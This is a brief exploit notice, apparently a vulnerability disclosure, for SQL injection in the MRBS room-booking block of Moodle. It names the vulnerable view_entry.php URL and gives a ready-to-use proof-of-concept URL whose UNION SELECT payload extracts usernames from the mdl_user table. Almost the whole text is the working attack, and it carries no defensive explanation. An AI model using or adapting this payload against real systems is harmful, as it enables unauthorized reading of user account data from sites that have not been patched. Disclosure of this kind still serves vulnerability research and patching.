Moodle.org

PATH/moodle/ing/blocks/mrbs/code/web/view_entry.php?id=[SQL]&day=27&month=10&year=2007

And a POC:
PATH/moodle/ing/blocks/mrbs/code/web/view_entry.php?id=2000%20UNION%20SELECT%20username,id,id,id,id,id,id,id,id,id,id,id%20FROM%20mdl_user%20WHERE%20id=[ID]&day=27&month=10&year=2007